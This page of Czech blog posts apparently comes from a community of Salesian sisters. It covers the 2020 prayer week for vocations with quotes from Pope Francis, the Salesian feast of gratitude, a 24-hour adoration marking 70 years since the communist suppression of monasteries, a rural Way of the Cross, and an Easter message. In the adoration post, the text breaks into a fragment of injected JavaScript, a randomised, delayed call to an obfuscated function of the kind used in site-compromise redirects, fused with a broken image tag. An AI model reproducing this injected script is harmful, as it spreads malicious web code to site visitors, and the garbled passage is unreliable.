Týden modliteb za povolání

Týden modliteb za povolání

Ode dneška probíhá po celém světě “Týden modliteb zapovolání”, který vyvrcholí již tradičně na 4. neděli velikonoční (3. května), na neděli zvanou “neděle Dobrého pastýře”. Bude to již  57. Světový den modliteb za povolání.

Papež František napsal k tomuto dni poselství a v něm vychází z Marka 14 kapitoly, kde se učedníci plaví po rozbouřeném moři. Na tomto úryvku ukazuje a vysvětluje povolání – staví na čtyřech slovech – námaha, chvála, odvaha, vděčnost.

Zde citujeme z listu papeže Františka:

První slovo povolání je tedy vděčnost. Plout správným směrem není pouhou otázkou naší snahy, nezávisí jen na trase, kterou zvolíme. Naše osobní realizace a realizace našich životních plánů není zákonitě výsledkem toho, co rozhodneme ve svém izolovaném „já“; naopak, jedná se především o odpověď na povolání, které přichází od Boha.

Pán ví, že zásadní životní rozhodnutí, jakým je manželství nebo zasvěcený život ve službě Pánu, vyžaduje odvahu. On zná otázky, pochybnosti, obtíže, které zmítají loďkou našeho srdce, a proto nás ubezpečuje: „Neměj strach, já jsem s tebou!“

Dalším slovem je námaha. Každé povolání obnáší úsilí. Pán nás volá, protože nás podobně jako Petra chce uschopnit, abychom „kráčeli po vodě“, neboli abychom se chopili svého života a dali se do konkrétní služby evangeliu v každodenním životě, jaké nám on ukazuje zvláště skrze rozličné formy laického, kněžského a zasvěceného života. My se však podobáme apoštolu Petrovi: máme touhu i elán, ale současně jsme poznamenáni slabostmi a obavami.

Byť jsme uprostřed vlnobití, náš život se otevírá chvále. To je poslední slovo povolání a má být i výzvou, abychom se učili vnitřnímu postoji Nejsvětější Panny Marie: ona, vděčná Bohu za jeho pohled, kterým na ni shlédl, s vírou svěřila jemu své obavy a nejistoty a odvážně odpověděla na jeho povolání. Její život se tak stal trvalým Pánovým chvalozpěvem.

Připojme se tedy k celé církvi v modlitbě za všechny, kteří hledají a rozlišují povolání, aby otevřeli své srdce Pánu a nechali se jím vést, neboť On dokáže život každého člověka učinit šťastným a plodným.

Svátek vděčnosti

Svátek vděčnosti

Tento víkend (24.-26.4.2020) slaví po celém světě sestry salesiánky svátek vděčnosti.

Copak že je to za svátek a kde se vzal?

V historii se dostáváme až do roku 1849 k Donu Boskovi. Tehdy dva  chlapci (Carlo Gastini a Giuseppe Buzzetti) chtěli Donu Boskovi popřát k jeho svátku a překvapit ho. Koupili mu jako dárek dvě stříbrná srdce za peníze, jež ušetřili, když si odpírali jídlo. Večer před svátkem sv. Jana mu tyto srdce přinesli do pokoje a popřáli mu. Don Bosko byl překvapen a dojat zároveň. Každým rokem se tato malá slavnost začala opakovat, vždy ve větším a slavnostnějším rázu.

5. července 1876, na slavnost sv. Dominiky, se také poprvé konal svátek vděčnosti (oslava svátku) Marie Dominiky Mazzarellové. Dříve se také její svátek slavil, ale více komorně. Sestry a chovanky  pro Matku připravily písně a básně. Matce však taková pozornost nebyla milá a před oslavou se schovala do podkroví, takže ji ještě před začátkem musely po domě hledat.

A teď už se přesuneme z historie do současnosti. Je zvykem, že se svátek slaví v jedné vybrané Inspektorii a celý svět se přidává alespoň na dálku. Letos byla vybrána (prozřetelnostně, ještě před koronavirem) Inspektorie Římská, takže Matka Yvonne Reungoat oslaví svátek vděčnosti “doma”, v Generálním domě. Bude daleko více “internetový” než loňské roky, zvláště díky koronaviru. Matce tedy děkujeme za 12 let její služby (na podzim na Generální kapitule by měla předat svou službu nové nástupkyni). Citát, provázející svátek, pochází z žalmu 1 a zní: “Tvůj život je stromem, který nese ovoce.”

A tak se připojme k modlitbám vděčnosti i prosby, aby život Matky, ale i všech sester a vůbec nás všech lidí byl stromem, který čerpá z Hospodina a přináší plno ovoce.

Svátek vděčnosti se též slaví i na “nižších” úrovních – děkujeme Inspektorce a jednotlivým ředitelkám komunity. V našich poměrech toto slavíme na konci školního roku a o prázdninách – budete tedy informováni později.

 

Adorace k “sedmdesátce”

Adorace k “sedmdesátce”

V noci ze 13. na 14. dubna roku 1950 se konala akce K (násilné rušení mužských klášterů v socialistickém Československu) a na podzim akce Ř (to samé, ale týkalo se to ženských řeholí). Letos tedy slavíme 70. výročí od tohoto nuceného vyhnanství. Při této příležitosti chceme, my řeholnice (a řeholníci) v Česku i na Slovensku, poděkovat za dar svobody, poděkovat za všechno dobré, co z utrpení našich sester a bratří v době totality vzklíčilo. Učiníme tak 24 hodinovou adorací – každá komunita ve svém klášteře či řeholním domě – a to už dnes od 19 hodin do úterního večera 19 hodin. andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-393957_1280_180921-172253_pla-300×169.jpg” alt=”” width=”300″ height=”169″>Každá komunita se připojí na libovolnou dobu v libovolné hodině, rozpis je však připraven tak, aby nepřetržitě bylo 24 hodin chváleno Pánovo jméno. Adorace dnes bude začínat společným zvoněním zvonů z klášterních kaplí a domů. I naše komunity FMA se připojují k této iniciativě. Další bohoslužby, výstavy a vzpomínkové akce jsou díky epidemii koronaviru přesunuty na podzim. Zveme vás, pokud chcete, připojit se doma ve svých domácnostech k tiché modlitbě za všechny, kteří před 70 lety trpěli a z jejichž plodů my dnes můžeme žít. Stejně tak za to, aby i dnešní řeholníci a řeholnice naplňovali své poslání správným způsobem a přispívali ke spáse lidí a k Boží oslavě.

Tip na křížovou cestu v přírodě

Tip na křížovou cestu v přírodě

Velký Pátek je dnem umučení našeho Pána Ježíše, dnem postu a vděčnosti za odpuštění hříchů. K tomuto dni také (asi víc než k jiným dnům) patří křížová cesta, modlitba, na které při 14 zastaveních sledujeme poslední kroky Pána Ježíše po této zemi.

A tak se i naše Plzeňská komunita v pátek dopoledne vydala do přírody se křížovou cestu pomodlit. Mířily jsme autem na Křivoklátsko, do malé vesnice Všetaty. Zde, na polní cestě vedoucí k obci Skřivaň, stojí 14 zastavení křížové cesty. A tady začíná příběh dost netradiční křížové cesty.

Vše má na svědomí pan František Matějovský spolu s ostatními nejmenovanými dobrodinci. Před několika lety tato polní cesta byla úplně zarostlá, avšak objevil se grant na obnovu starých cest – a tak byla cesta vyčištěna. Mimochodem v obci Všetaty není kostel, takže je to vlastně cesta, která vede ke kostelu v obci Skřivaň. Byly mu darovány staré dubové pražce z kolejí, 15 ks. A když je převážel, jeden pražec z vozu vypadl a rozlomil se na dva kusy tak, že na silnici znázorňovaly kříž. Tímto křížem cesta začíná. Na každém pražci, které jsou od sebe přesně 49 kroků, je keramické znázornění jednoho zastavení, každé od jiného umělce. Pan František je zadal různým šikovným lidem – z Přílep, Rakovníka, ale také třeba z Bulharska… A jak pan František dodává, je to také cesta života každého z nás se všemi možnými utrpeními, která nás mohou potkat. Zveme vás tedy, pokud budete někdy v tomto kraji, tuto pozoruhodnou křížovou cestu navštívit a spojit se v modlitbě s Pánem Ježíšem.

VSTAL Z MRTVÝCH A ŽIJE VEDLE NÁS

VSTAL Z MRTVÝCH A ŽIJE VEDLE NÁS

Pán se probouzí, aby probudil a oživil naši velikonoční víru.

Máme kotvu: v Jeho kříži jsme byli spaseni.

Máme kormidlo: v Jeho kříži jsme byli vykoupeni.

Máme naději: v Jeho kříži jsme znovuzrozeni a obejmuti, aby nás nic a nikdo neoddělil od Jeho výkupné lásky.

Uprostřed izolace, v níž trpíme nedostatkem přízně a setkání, zakoušíme nedostatek mnohého, slyšme ještě jednou zvěst, která je naší spásou: vstal z mrtvých a žije vedle nás.

papež František: Urbi et orbi 2020

sr. Jana Svobodová

a sestry salesiánky